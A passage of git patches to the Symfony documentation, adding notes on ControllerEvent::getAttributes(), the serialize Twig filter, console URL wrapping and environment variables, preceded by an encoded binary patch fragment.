zI2`a#ShQkpW-Nz(MuxEKD}dDp-v<;HxZuM=&UVS7l{*PNUp1b?V(Fxi4~q@Io}#eD
zMd;w>-f5F#{gk3{fZ(_z)2J7ZL>0Y!Qv7I+aGO#l-!@$}^{*!i!zi$9azs7vvOs!x
z@v5L)+)Ni5yj^RgVfqAR_AOzS`B7qf9WY~XjFhJ&%av-YQqmjTzDXL-whI~4lKp0N
zgE$cNiG%-ci$Uhl2`*QrtW-y;!N4&-BBM$@492(I)b;vrfCp_N{|#&IM9l}iNpe#p
z7|#A;BKLW&6H@3q35#$=N+ChYAP9~Z?6UP|iPq>Xiq+F3k~QSPLIf*ghoA?{$>JGr
zHooJ%s?ijrG!=Bol0JgfjSgw#7^%{+G4{v-dI78Kb))bU)zxdjVEl~8S@|jRm7q}@
z>M2cj{8}o@{c`tcZr9Rm;SFd4HFv8^H;frErE0Pn3_I;rL4=fQx1O{wBt^q8#+_$M
zGo!z;Gvj$#Bt;*+4N_gPJrtoo9e=b&W1Z^ds!8?Ywra@Fzrbs+4PJihZ^UDvXYFUi
z{`+${6`#Mnlg&q6i|UMaG2(8k8+A%0@@y9@uYTVEUk%Srl%N1!4tSdH+9EN=%Fiaf
zVPr_2$Ni!xA;J$)Esz9Edj7Lx*F<ceHm%jw&pmJ?pLtG<jIMrZ8FD@uZ^3`%J3#Qj
zGkx@`@|gd72V7nH>&o8P#@4=~ZJ`zd)<AKI#z<nOt2bAp24fe*%nuKA>GT%r-QP~G
zO06pI8adepb+QJ-JBA*2sceTjWA(fwiIOB~D5V@AdYZd4w&hfOL_*4vV{7QNs-9%t
zK|!Vw23-Ur7E`^9)W@w#{T7k}ebGU5Etd)Y4^Mt|E`LfQ&Vza1o>3mp)(E{)CMYKG
zl--RVYeqSfH^%Q7q(~Z7lpV~3?b`coa7XYK63}q&M-%Ms*03=>{9MLHB1W-@7D7bB
z@+wV2VO@)2M%2V|vM2m5H{ye}k0t0&&*5aVzk-H_x#>u+c`389l`;oE^i%B!ik9tl
zj|*~HJR$^2|E8s2)j6owkSw73dq(I3$-q<ghkK-b<$~>CiIZ6wpNAoIsB`J!VklK`
zuIlW^s+`Uz&THG){rem?74!`ISUp-!Mq5f&74lc@y;@E<4MC@Ix?E5%<%nC<nz<?L
z`0-O=s_ho@i@RmRl$PFD$Fjpuw%5xwLh^=<3bQgHb^tOY`W;qv$^|FC_4bo7ztth}
z-U>W<u~BtF4!a8A`+(;KMr@RxHSbmCAB_%XJ{YZNT%KyIjy-EWgfILOjo8edT(a==
z_1r}4+DPFc2KDJ`zs*`7%g~iW#iNFXtE9Qo8S`1(u`fu7%Hd`TiymfOZe4qA5{5F<
z(;UYWE<4_SPW<8!`9nb!qGr2*c`Ng)SR)d%s`XISWAAYudsFjK3Ug2C!<_qPG!$Zi
zqehrwS12!H{|=2YWt&`IOGpRIT-{vk#(x>-d~KZ3HzV3LZV$UiFsdj?(_Mo_uY3B9
za)3nn)F9Iat@JZ^Ep<OJI40x_D=zs!EXnEPsy5a%XB_h&c&<`JWqV6QOR+z_tGhmw
z;*A3ck<Q`k+aC6PmW&28Z60rM4%^USByjjneDlE<ho_8kN{Kf!WH<TtzXmeO#9k3(
z#IVKx#5RJB2bIa|%N{hQVAnJrw#<J<ym`RM-kbTJTlU%v0Wp_-Yg0M_6;Hoa6+wow
zZJY1Dz=lz_%^GqvYmQ!f`6-HCGp~?%rkQHNJoM@|#OI<nLw^VF#i^30&674lN1$+5
zJflGPVZmi~bG{E49G_<B|K2yrrdn}<eg(S&Y<A<ZV;jW`H#GKbDo)zVD9GYKc`kvt
z-X}5}l9v36)^64z$I$cMyJC%--3iDx|ILGrZo($^Vh;2YsnUp)|12r^uHzh)?2XM{
zcA`4E_vq|W&2=cz5h(MFE;oLv3Qbt$>fN(v8*73AnI)UHLP4pILRAJa5iV+M=A`N<
z?XMff5dzoLxuXLW4N`4DO3I^)zfB*ajT?>P^2)A#0*CQ{dPQs2I1-0A#M$m%Bg`P?
zXlL!9G=W?0hvRQ%)hV5(Sd1XBU!?&AKBqFB(BvPq>cE_V!V94zU#H&}lEt9-@hxlH
z6L4I#9k}-hJVGV^EVP;g!d1-=IaFb{+&qHQaDmen%7)_BzV8(sJ^O#p=1Vq%o;w-1
z&vTcmnbSqM*kAPgb-4R69l$CzEQ?wf4PHkC4MnABK=JYbbM*sQi?Pux>v<Q+QVSd=
zReS*g=GpbY5SJ{P{UZC!=v))viz<sd%=Ad~Wr4}G$1zC|Ui7GHlPFcg7C4q++@kZr
zh@ybpi_~E*XnrNzVl&HDHKKncm&Z_$0JyGTaclmP5%1GU7uAPN=b~Y;awP;`Q{;y)
zpZRNKB42XG+Sg<NDIirC@a}<#U~zN*<>K>CGW*(CQHgF~R2be~|3V=)RD1xqS(aT-
z<)KGE_M^I7nr|Y-HCr|J7l=p-GkQZSZ|c`^a&L{I!cRJT9{6zAV^hC%KOPEJ*6U8@
z7#|)RdhR{ctw^vV(fM>cYly>c>8-83)I6JiubMXkBY$ZDKiJ{r{dAjTHj=QY7Jp)5
z%>8f_85&6z`o+^=J>NXa7M#?hKvoib+M$B_8XgZHYUVkg32?n?fnxf5sH=h3)kd8T
z*OaPpiC(SkyKEK@szUg5L>TS4^;BsLprWQP4L(wam*iZ&bDlMac01=BR5<Wc<-Bho
z3RVT{r?TWBkDGPx<%fZ?X`G{gW8aNr(9Vo!OkvK?zX-N{>)Ky>qgx|YSf;4IK!vC~
zzvpG=Z}Q>tYL;Z=v?T7K?1pN#de!R!LihtdLbw8gt~JdO8T|bH$`RP>7<_0Mdk__c
zJ4H{b!ZP-(D5>uiI=CV9CWR5y01Mrv7ftD+*p?r*8sE!+TIf{NEcLBl9sWirAq5^;
z<1wM5Bp)T?KRZF*kQbK5LD1<keduSdDNECpz{naTbL4Cxx%mz_^n@q1i_WQ6nWJ+(
zmsCXhy&$xYTgP)hcKfb5Gl62X=Haz7qcYoYfL!l!w1Tyj*UtoRhjm$dSM(Ze&}y2~
zb=5}vnr^+`VIt(PRF-xSH8w8MZ#;MV!(RMeO7Fu~z}?&rYlW>q#ixG1nWw9a=xa_8
z(ePLXV$zK}dgbl{M#M_UV8TDK+VUc@7$C^PMHNJu`>aILfzCe8e!j6`&zT0EaW5F*
z5kupw#5hvSe!j);FOwEF4~7AEIpd?}$TS#3`h3AHF1^m+3kSlkX89M8V}qd4r&pt&
zy`sT-0!dQYUT$sO11l!E3js%7xFO^?`<NuSX`Zud=;;LW$;NpJ!y{P6q`mASeOgQq
zrMC4hTd*C<3UzdjMkRTuD(X+mF95ncAp)IJ1`P1t1HMm?N9G-$cK5hcg*~Mi&JbuM
zJTl69A|#BYtZcj2bEqeQdP(&qtJ0rWlxu7CdUY~iwfygg`?6_M5%QzoU*!U#NT`w?
z&*xSShy{s6E&dk^j?pHl*uG$X?*sJ7VexryN}7=~j`WLTa~MH)Z>?k31JG>3cg53z
zC%=jM2)-%|(*rLXtXTFkND)_M{!kFaO!rbofJZ&@pbjHM3)e8aw0Zv0Bdz&wJO!&?
z%28_d6P!IJtukV6dt+o4W&5*>7g()cF)072hCHwBnp6aJ>!f$8n<OT9jHNaF<cxaD
zcg+sZU(d!soZ;Xw=O6!H029~AzU>OyYHA3ibU<4o>;QvvKA13QpH}vktT(LT+NS)a
z%<w#snT~&5fnaPgs#zeP3{lEA4MbR<pRG)1J%5E{DKtM;$t42KEM4ndViaw8xFMa?
zp^{U)FraJOLmvoRyo|hLWIy-5X?~`n)QqY#Y8SU0w0N{t)k@<rgu$_W*t4q?elwT}
z#JOWYxH;o$;w`72d?KoAl_X_aO+4L_M(nMr1_l^Xrh0rW)PM}Q{ZU{=084@17D8f~
zrZyW#z$k<sUMJ~z<KJQ8PfG3VGMdI~ibuw0A0a)Dk-oo;t?nBL*|!+EcrH3Ik$t+j
zeKtF)De{~BVORPGv%sB@Is^scm)ny5+1QS|q;y80*R2JJZl4W49_3bt33zxKS#p=I
znY4=e_5)Hqxq_D&{w@nbDNU|ojvPD|q)6YwNj9u%PS?l%{$XVQqy%^W0C;549R^a;
za6&K;3hqAQ+ol4UmGy5#lx}@4en7ARSUZUT#yk>42N8xN{YqcVSXE-EU#V!<k~8gx
zUhLLfu)UY+c=^T)Id<Dc6W&CLE@qgt>cMo=v{fv-<4lT%3w5Q_Z%x!F=8|aiMeoeb
z{U|HZQK#x}-pWzJ0d8NRB$|yRjS&^2%b_L1Jjv9AgLt3$NBLXXw@kl58t7H#cXRQo
zWl(|I>3;SNJznb+n7t->FE?<S)5AYN8hG|GjYSjR=rfl3X5kPcfbBc(@O7)3IEM_U
z7qcPfFuZo}K1PWevG+prQA`vKAA;jQ-_BA|%B~JVpOc^4oWHoae3*Br?Cp}Ksf3`E
z`Q{9PvRY9mAp10PKjXm-snns9^tAG_qcmJ2Vt<M8O$%D&U1oDiRQK1y%-m$*SQtr;
z0mnyTZJ|_N4Oy*kG*%>f?f?YM+|8F)-VbW9xu0$Sq{-7_@};LUn#-hBFazHXH4-+Q
zC~94O-2U@C>8Il>Nppww%feT2a^*<TXlyU&N`#D*+4W942k=T}A)PyYnN>{VS>;AQ
zk@_P-K^c~QDET${kf+DZ6I%69WzoqoW?PZ<HrsyfraP!(Kw#DT@x2~87i~QyvsbG$
zY-f74jOtbFt1r44%NM9T_1BncoD)V#EhK>-mEN}v5?lJ??a$ocg@uAhPgc7GNhtad
zyUa36dXwb|PmyMG!#m)0kZF)qQbnkc&kCNrUvL<F4R#LkB8L(NkbTcBE{|4K_2)Cy
zW1o(0Xs)(NQS$nA^2kQp(WO58CaWTG^y8Ts;q_?j=57u*L_#71_b(&Lr6+<gau&Bh
z>2{R0@ng&3gVPD?V3h~7Z044vs@E-O_DCW-WAE;B&6e?XcTg<0_vkD1PiKof(0HPI
zx^!Vt-lE!OrIrDz2V8{+fv|{0Ws|)J&GuE|N2y3ujJzMn)I*C6&hf{%w0-e^UrLwV
zB8sWyypaAoPeV3%Pcm;dREW*0toJPkM_K?lCx>PYyzf3)+?7N7UlJ;PJ{XVh0K$|x
z=;X9V@=m|xt$)kGZM3Jnz9LmRc%a7}dN(tRey)if(pnq#!~+lghET$9lwPw14f#PY
zu<HO<&FFH8Q9zTm(gP3krd0qL!-ig4bKGP!$j{dsO*UC$XpfX;SS$4OZh6Ehd&U0U
zV=}woN>^5jan9A+F*|Mz$I+<u41Q}yu4{z8dA)et8N6O~v77)FLuCQC`c7B&bpnn(
z8E~pa3tso}{A@kyKtEv0LY5T|sQCE1M<y791T06i-8qP1tKjXu3LqNDHUDQ*ojOrC
zW&K^7v~(-*G%75ArV%Q?=HN}-see#1T1_pNRqRbxCy@CmC5lQ7P~a$-Gv7R#_Fid!
zCwC**oegROeno3f&g#2yWYPcG$u$WSu7r_fsek)lO`Lf=)N32YB^5`9GAMPF7Gy11
z%64WBVus1kWSc^gW-78|i0n}*yqLjQ8ig#Uks>NZMar5bO_pk!V`o%|ER8w$5AWxF
z=fC-5me23muKT&a*F}2Y{9Qfx0t=+Ow*A31cbKl4vo>KDr0Z^*UK#ETw7GV6=L2&f
zCqV|%pb=e1nkL$DfbD4lUS}Yk%xs@gw%a{@62=b%<aepaQ)-4sCCFSU#p_L3TDt~#
z=~J7SlSc+>o!Fl;4}fn#xdG_3z0fj|AhR>lq^_xg@<RNjWk#|31Pi-5qHQ{~i5kGW
zvKzT9sX!NfDNIvcwe<ZzMf0%TFSAZXqgsY$U-C=4COEb@#*1v_gr=(rCmm~J!#aVA
zj3%(X;l==)2zprCP`&FQBzlOnzTaDC#tE*`LMzQ@RG{b0mIOB)!`g^VDqX$1=7hvH
z9c<XFe=I6tp6}R~+CR_K=cheG&&%PyC2sqNQG(zliNWw^SFe+x!>?rcbQTe`42TL_
z>_N&Nex=s@0YN*LhU?XqNNF|0h?DUQXxP<H$`SkD$XL0@JLgO*(g&}W#3h?v3TW(t
z%LO+KstQYh&nV!4t_uG7RRb`{q#$cLHf0Kdk;gs|kn|C_cfVeN9_ni+EQvJ54ZB2=
zWrBOQ(<;1r8v%Ln=-66<9pvffb=v9vx+zP0BWr-K;Qy+M+m3drefGK^bt^?e7qsGf
zd4o>>L5S1XKB{g^`xDQ;=d6ZswH0XQlXE1S<uMf1i#*!G>#Fhp_SqQ-nvv#{aXRg<
zc@vJG%7(jZaDDv+t!S-3*EqNYd9ZTYg4H4ufv<Z4ZLBrVrE}uzD%%#<2ZpGk!C;5b
zvy=tY7$KVNip;tVy&_RLyokgE^BaRL9&B+__ny4*kKNizmY-U)HFV|U!KL|n29;m#
zAnc}qS$M~C(spOdHYs_ru#)1NZ+(aFx^k6Jw)BYita3nM%jGhQoilXK<b?|slMi^i
zq#xue>ihn<-&s8&yFkVB1P0V2r;X7^!#EXAF4PczBnJXD&9+pH#G<}?g#+8_i9csZ
z9hDwA8KWyeDO=Yg&=O?q?EBLI%w00iPp_nVXaZ*G@rEr)OEwCctS_`pa9^x8?#O#r
zm8==Mc7fXY)#(KFEn}nK;47`5srUnVpdM_GITSObeAM8v8-ZK{Cz3=EWX$Y_RplM-
zc%mG@A-~!0ZqO*ssX(6(#grdk8QTEizqH+_H1w@&{q^)h%Srj`hc)&Hx2uoYhpN)D
zM-_w0$SIHV@$CubIvmg9%rTfJ`?^Y@G;<4BcSs?_gIg2R0e;^Gx(W@?G;-?Arc`&6
z4lIu?RxdJfk0Cwk{(bFyLZEbny7|W0Zd=iu!;Yrp#aCLB+^+VH!9n(E^C93i5-QG~
z4W&aaN!ubGC}qerp-4vpm2~l*M63)$*WdB!7{EVt`(jeMoV-`KRBk?JIh6wzm1w10
z=3b2KVr||H>b}pu(oxf{AxiP`WfjNg#OIlV4TA86uWC;7Y!Us?(P(gY_v{H|vaZRJ
z#LQG+TgO*Y!kNLNDsTh-z-bf9hg-ue(Xt(4R2c;D7%*9%XOfmT1SwI)$V8Z|CIwb$
zZ&_bjNZJLG<7u&>+Y?jDI4Kv%tvy7ea`fbzFqH4ts-d-3<*F(D{B&)*_K8mU&YIU!
zt2i@cV1J`xd$+z7YIXvLBv1*u8;6hp8`P0`z^VbqN!>;%zPr4zcV}X-<bV(>B4h&v
z1p)#B5aX$uv67}ryX^Y+j{@jGP0ld~djtZ5AQN_o(Xr|*w8d{Sm5u<GDMM~hpjS}&
z2}H<SM9h#Y-R-RwYCR>-wS5d1@R7tPfwkX6I6|00B0;Yw<L@&Ieg9<MIkXa1;IL6N
zv(&U$&ZExl@tJq|lcnyY{p4n>lkt#q5!H07io@ONJX|K*&Sy_^L#{>t-9uCTaBAWV
z3POHTpF4bg+$TZY^g+g6JP)i67~$%1$$T%Uh_tU0;0fG;<0qLNGu{fAZ2zY~j_y`&
z`BUmx{y5=<A<K1nuZ)m-oQQEuk<Sc$8MVfvu+On~0GwJ>GJQICVsGR1pP!Sj|9&sc
z^7kz`D6qzhHuiq&dH7egYc)2^_gCD0@>}(rSriMPziEJ>n6vOpw>3pbUEnS-wqB@J
zZv}F_rBbK(*rQaSQ7j?Mf|!j{CC-i%WS;^)xs=kr^WEY@Z;lISmi_OWmZKsR^u)}}
zx*rrm1KBSqVA!U+H}`6@5B}qz!QHTuUner8)m$5zf6(vQTkR(|ohL}nF*kHSXU!eg
zJJ`GEY?ybd=txIFp!b>foS4{A=}BP<lJ^lE4`--N0e@sd037alloEd5U=g@4lc1Ew
z0&-Mi&xAkO2qZpUAx7g^1$Lz4PRq{Quw#tNQp{JDag4~$zj=<#u3LRR3qZs+g0o*$
zTvnZ~NOYmC@qV^5jjq0{PW5OK*sZL%QXadjP?ma*e!R9--A{b0Jdgd%_2iEj>d!8?
zG|&!|==kDE0HkX=9QQqRzqG?24jLboNWdD$*m0Y+YWA26G^M3M>1>svYKO-Nu}j5L
zkpebsmb-2aFw+6Zm`VgcFs?deE^d1}G|?aO#bhamEmpKZMuZw&{?fYpMQ_{~<NXb^
z($g(lplMbf!WGe;4PooNJZ<dCwNm7G98&b=HsM9bvgUrnrv9PdvfkzjK0Tg8ASvI3
z#a7>~O^$vcto$GO6qJQT6PLfxe?PbF*MkdBd7Nsy1cOG2GpU+Ha}uY^WVEwrmyDV{
z{f1^`y)5o0JhNA#k(lvTC{SZ4$+JHY`@VWl18c($mYDZV!@%=MX#~4!-Rxx2Te*U9
zB&1=3<CpK;S|n4cyXw*-TM7hbs6)tx6kWbUz3(A<Rtq?^U6L90E1_aFmS1wh{}4Nu
zpwir&5Y>U}dhAQ{{8W8-X1v?oKpJ;=|FIcf{^cX3W@0J>j6x77n!~x}I1Q_Z%ts+}
zer2h+hwN7I>73P7kPNX``n|Tt53g{_<qB_(=B2Eet1-qjRmQ8^3Nk=c^=9Xpyqj7Q
z1KW1o;%C=$3WfOD=}g-I;T=X0$R?+6?AL!S%YfP#SI9IBv_?<>IOa=nkX_R}e0S|8
zQ8TTJZ{%8B%Fm|wNFLp3Dnu*<wPm3+wYkZzH+%C_F3B0$&oM&6JpwTyrMRoBe}q3P
z;YBCiKK*~mKg(NWplCC`?`G-Q|3#~;Y@Ig3I3(ky!)YXadCLAbRR<$>@fsxiY^!u4
l9bG;)R!&@alWhG(AauEG^hU&7f<OpfxI@-v_e@Si{R;=2h@Sue


From 56168bee49a53cbd530455998ae9f0059dfd427f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 20 Sep 2022 17:30:46 +0200
Subject: [PATCH 3673/7107] [HttpKernel] Document
 `ControllerEvent::getAttributes()`

---
 components/http_kernel.rst | 31 +++++++++++++++++--------------
 1 file changed, 17 insertions(+), 14 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index a08ae6afe9b..75eda8865c8 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -289,7 +289,15 @@ After the controller callable has been determined, ``HttpKernel::handle()``
 dispatches the ``kernel.controller`` event. Listeners to this event might initialize
 some part of the system that needs to be initialized after certain things
 have been determined (e.g. the controller, routing information) but before
-the controller is executed. For some examples, see the Symfony section below.
+the controller is executed.
+
+Another typical use-case for this event is to retrieve the attributes from
+the controller using the :method:`Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::getAttributes`
+method. See the Symfony section below for some examples.
+
+.. versionadded:: 6.2
+
+    The ``ControllerEvent::getAttributes()`` method was introduced in Symfony 6.2.
 
 Listeners to this event can also change the controller callable completely
 by calling :method:`ControllerEvent::setController <Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::setController>`
@@ -297,18 +305,15 @@ on the event object that's passed to listeners on this event.
 
 .. sidebar:: ``kernel.controller`` in the Symfony Framework
 
-    There are a few minor listeners to the ``kernel.controller`` event in
-    the Symfony Framework, and many deal with collecting profiler data when
-    the profiler is enabled.
+    An interesting listener to ``kernel.controller`` in the Symfony
+    Framework is :class:`Symfony\\Component\\HttpKernel\\EventListener\\CacheAttributeListener`.
+    This class fetches ``#[Cache]`` attribute configuration from the
+    controller and uses it to configure :doc:`HTTP caching </http_cache>`
+    on the response.
 
-    One interesting listener comes from the `SensioFrameworkExtraBundle`_. This
-    listener's `#[ParamConverter]`_ functionality allows you to pass a full object
-    (e.g. a ``Post`` object) to your controller instead of a scalar value (e.g.
-    an ``id`` parameter that was on your route). The listener -
-    ``ParamConverterListener`` - uses reflection to look at each of the
-    arguments of the controller and tries to use different methods to convert
-    those to objects, which are then stored in the ``attributes`` property of
-    the ``Request`` object. Read the next section to see why this is important.
+    There are a few other minor listeners to the ``kernel.controller`` event in
+    the Symfony Framework that deal with collecting profiler data when the
+    profiler is enabled.
 
 4) Getting the Controller Arguments
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -749,6 +754,4 @@ Learn more
 .. _reflection: https://www.php.net/manual/en/book.reflection.php
 .. _FOSRestBundle: https://github.com/friendsofsymfony/FOSRestBundle
 .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
-.. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
-.. _`#[ParamConverter]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list

From 1aa135ce6035dc5be4262ac383a0c80c09d8c4ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Sep 2022 13:03:58 +0200
Subject: [PATCH 3674/7107] Add some minor notes

---
 service_container/service_subscribers_locators.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index c2b4c75fd23..e1e65b05e12 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -292,6 +292,10 @@ This is done by having ``getSubscribedServices()`` return an array of
         ];
     }
 
+.. note::
+
+    The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
+
 Defining a Service Locator
 --------------------------
 
@@ -770,8 +774,8 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
-SubscribedService Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``SubscribedService`` Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 6.2
 
@@ -829,4 +833,8 @@ Here's an example::
         }
     }
 
+.. note::
+
+    The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From 2a1314e49c61947f0e296a8b5257216a0fb44d5a Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sun, 16 Jan 2022 15:39:17 +0100
Subject: [PATCH 3675/7107] Frontend Encore document passing data via serialize
 twig filter

---
 frontend/encore/server-data.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index ebb1f3cb8a5..439aa6f98f6 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -8,7 +8,10 @@ them later in JavaScript. For example:
 
 .. code-block:: html+twig
 
-    <div class="js-user-rating" data-is-authenticated="{{ app.user ? 'true' : 'false' }}">
+    <div class="js-user-rating"
+        data-is-authenticated="{{ app.user ? 'true' : 'false' }}"
+        data-user="{{ app.user|serialize(format = 'json') }}"
+    >
         <!-- ... -->
     </div>
 
@@ -19,6 +22,7 @@ Fetch this in JavaScript:
     document.addEventListener('DOMContentLoaded', function() {
         var userRating = document.querySelector('.js-user-rating');
         var isAuthenticated = userRating.dataset.isAuthenticated;
+        var user = JSON.parse(userRating.dataset.user);
 
         // or with jQuery
         //var isAuthenticated = $('.js-user-rating').data('isAuthenticated');

From e976964f28c71d25f20fd61d0cc03d5febcd3cad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 09:16:28 +0200
Subject: [PATCH 3676/7107] Add the versionadded directive

---
 frontend/encore/server-data.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 439aa6f98f6..8ec4ab97729 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -15,6 +15,10 @@ them later in JavaScript. For example:
         <!-- ... -->
     </div>
 
+.. versionadded:: 5.3
+
+    The ``serialize()`` Twig filter was introduced in Symfony 5.3.
+
 Fetch this in JavaScript:
 
 .. code-block:: javascript

From 01ca3562f70e6103bf07695c7c14640b93d35489 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 09:17:18 +0200
Subject: [PATCH 3677/7107] Remove a versionadded directive

---
 frontend/encore/server-data.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 8ec4ab97729..439aa6f98f6 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -15,10 +15,6 @@ them later in JavaScript. For example:
         <!-- ... -->
     </div>
 
-.. versionadded:: 5.3
-
-    The ``serialize()`` Twig filter was introduced in Symfony 5.3.
-
 Fetch this in JavaScript:
 
 .. code-block:: javascript

From 0bfa8ace9b826662191845ff8f29304d913a50d6 Mon Sep 17 00:00:00 2001
From: Krisztian Ferenczi <ferenczi.krisztian@gmail.com>
Date: Fri, 4 Feb 2022 17:25:15 +0000
Subject: [PATCH 3678/7107] [Console] Add note about URL cutting of default
 output wrapper

---
 console/style.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index 6603fc30ffa..711e4fa4b2f 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -337,6 +337,13 @@ User Input Methods
 Result Methods
 ~~~~~~~~~~~~~~
 
+.. note::
+
+    If you print any URL it won't be broken/cut, it will be clickable - if the terminal provides it. If the "well
+    formatted output" is more important, you can switch it off::
+
+        $io->getOutputWrapper()->setAllowCutUrls(true);
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::success`
     It displays the given string or array of strings highlighted as a successful
     message (with a green background and the ``[OK]`` label). It's meant to be

From adfe2d2d9d9c93040251220ee5dd9d3674ec2468 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 09:51:07 +0200
Subject: [PATCH 3679/7107] Reword

---
 console/style.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index 711e4fa4b2f..16cb3e2bab0 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -412,6 +412,38 @@ Result Methods
             'Consectetur adipiscing elit',
         ]);
 
+Configuring the Default Styles
+------------------------------
+
+By default, Symfony Styles wrap all contents to avoid having lines of text that
+are too long. The only exception is URLs, which are not wrapped, no matter how
+long they are. This is done to enable clickable URLs in terminals that support them.
+
+If you prefer to wrap all contents, including URLs, use this method::
+
+    // src/Command/GreetCommand.php
+    namespace App\Command;
+
+    // ...
+    use Symfony\Component\Console\Style\SymfonyStyle;
+
+    class GreetCommand extends Command
+    {
+        // ...
+
+        protected function execute(InputInterface $input, OutputInterface $output): int
+        {
+            $io = new SymfonyStyle($input, $output);
+            $io->getOutputWrapper()->setAllowCutUrls(true);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.2
+
+    The ``setAllowCutUrls()`` method was introduced in Symfony 6.2.
+
 Defining your Own Styles
 ------------------------
 

From f90b0a5674893d7964868a9d701ffebc04ec022f Mon Sep 17 00:00:00 2001
From: Amine BETARI <amine.betari@gmail.com>
Date: Tue, 28 Dec 2021 15:09:54 +0100
Subject: [PATCH 3680/7107] Update autowiring.rst

I removed this sentence because there is no obligation that the interface should be in the same file as the class
====> and that interface is also discovered in the same file
---
 service_container/autowiring.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index bf1696d6540..bb89ee3451a 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -371,8 +371,7 @@ dealing with the ``TransformerInterface``.
 .. tip::
 
     When using a `service definition prototype`_, if only one service is
-    discovered that implements an interface, and that interface is also
-    discovered in the same file, configuring the alias is not mandatory
+    discovered that implements an interface, configuring the alias is not mandatory
     and Symfony will automatically create one.
 
 Dealing with Multiple Implementations of the Same Type

From 6b73dda6da1c114619cf9e4fe33a3ce8839f6e99 Mon Sep 17 00:00:00 2001
From: Martin Melka <melkamar@users.noreply.github.com>
Date: Mon, 10 Jan 2022 11:42:55 +0100
Subject: [PATCH 3681/7107] Note that env vars are not always compatible with
 options

There are cases where environment variables cannot be used in
place of regular configuration options. This commit makes the limitation
explicit.

From https://github.com/symfony/symfony/issues/39902
---
 configuration.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 1c0c9dd21c3..dc435894686 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -602,6 +602,10 @@ You can reference environment variables using the special syntax
 ``%env(ENV_VAR_NAME)%``. The values of these options are resolved at runtime
 (only once per request, to not impact performance).
 
+Note that not all config options are compatible with environment variables. There are
+`cases <https://github.com/symfony/symfony/issues/39902>`_ which may require refactoring
+the config definition in order to work with environment variables.
+
 This example shows how you could configure the database connection using an env var:
 
 .. configuration-block::

From 945bb679813a51ac3de5c5ba253ffbff4b676a2b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 10:26:06 +0200
Subject: [PATCH 3682/7107] Reword

---
 configuration.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index dc435894686..6d2638008fa 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -598,13 +598,10 @@ configure options that depend on where the application is run (e.g. the database
 credentials are usually different in production versus your local machine). If
 the values are sensitive, you can even :doc:`encrypt them as secrets </configuration/secrets>`.
 
-You can reference environment variables using the special syntax
-``%env(ENV_VAR_NAME)%``. The values of these options are resolved at runtime
-(only once per request, to not impact performance).
-
-Note that not all config options are compatible with environment variables. There are
-`cases <https://github.com/symfony/symfony/issues/39902>`_ which may require refactoring
-the config definition in order to work with environment variables.
+Use the special syntax ``%env(ENV_VAR_NAME)%`` to reference environment variables.
+The values of these options are resolved at runtime (only once per request, to
+not impact performance) so you can change the application behavior without having
+to clear the cache.
 
 This example shows how you could configure the database connection using an env var:
 
@@ -677,6 +674,14 @@ To define the value of an env var, you have several options:
